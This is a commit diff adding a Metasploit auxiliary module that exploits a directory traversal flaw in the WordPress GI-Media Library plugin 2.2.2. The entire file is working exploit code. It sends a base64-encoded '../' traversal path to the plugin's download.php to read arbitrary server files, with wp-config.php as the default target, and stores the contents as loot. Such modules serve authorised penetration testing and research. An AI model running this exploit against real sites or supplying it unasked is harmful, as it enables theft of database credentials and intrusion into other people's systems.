Land rapid7#5242, @espreto's module for GI-Media Library Plugin Directory Traversal

Author: jvazquez-r7

modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb

@@ -0,0 +1,77 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Auxiliary::Report
+  include Msf::HTTP::Wordpress
+  include Msf::Auxiliary::Scanner
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'WordPress GI-Media Library Plugin File Read Vulnerability',
+      'Description'    => %q{
+        This module exploits a directory traversal vulnerability in WordPress Plugin
+        GI-Media Library version 2.2.2, allowing to read arbitrary files from the
+        system with the web server privileges. This module has been tested successfully
+        on GI-Media Library version 2.2.2 with WordPress 4.1.3 on Ubuntu 12.04 Server.
+      },
+      'References'     =>
+        [
+          ['WPVDB', '7754'],
+          ['URL', 'http://wordpressa.quantika14.com/repository/index.php?id=24']
+        ],
+      'Author'         =>
+        [
+          'Unknown', # Vulnerability discovery - QuantiKa14?
+          'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
+        ],
+      'License'        => MSF_LICENSE
+    ))
+
+    register_options(
+      [
+        OptString.new('FILEPATH', [true, 'The wordpress file to read', 'wp-config.php']),
+        OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the wordpress root folder)', 3 ])
+      ], self.class)
+  end
+
+  def check
+    check_plugin_version_from_readme('gi-media-library', '3.0')
+  end
+
+  def run_host(ip)
+    traversal = '../' * datastore['DEPTH']
+    filename = datastore['FILEPATH']
+    filename = filename[1, filename.length] if filename =~ /^\//
+
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri'    => normalize_uri(wordpress_url_plugins, 'gi-media-library', 'download.php'),
+      'vars_get' =>
+        {
+          'fileid' => Rex::Text.encode_base64(traversal + filename)
+        }
+    )
+
+    if res && res.code == 200 && res.body && res.body.length > 0
+      fname = datastore['FILEPATH']
+
+      path = store_loot(
+        'gimedia-library.file',
+        'text/plain',
+        ip,
+        res.body,
+        fname
+      )
+
+      print_good("#{peer} - File saved in: #{path}")
+    else
+      vprint_error("#{peer} - Nothing was downloaded. Check the path and the traversal parameters.")
+    end
+  end
+end